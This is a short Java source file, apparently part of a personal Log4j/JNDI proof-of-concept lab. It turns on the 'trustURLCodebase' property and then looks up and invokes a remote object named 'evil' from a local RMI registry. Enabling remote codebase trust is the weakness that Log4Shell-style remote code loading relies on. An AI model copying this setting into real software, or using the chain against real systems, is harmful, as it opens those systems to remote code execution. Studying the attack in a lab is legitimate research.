package com.cjx.myself.poc.log4j;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            // 获取 RMI 注册表
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);

            // 查找远程对象
            Remote evil = registry.lookup("evil");
            EvilObjService evil2 = (EvilObjService)registry.lookup("evil");
//            Remote evi2l = registry.lookup("evil2");
            System.out.println(evil);
            evil2.test();
//            EvilObj evilObj = (EvilObj) evil;
//            evilObj.test();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
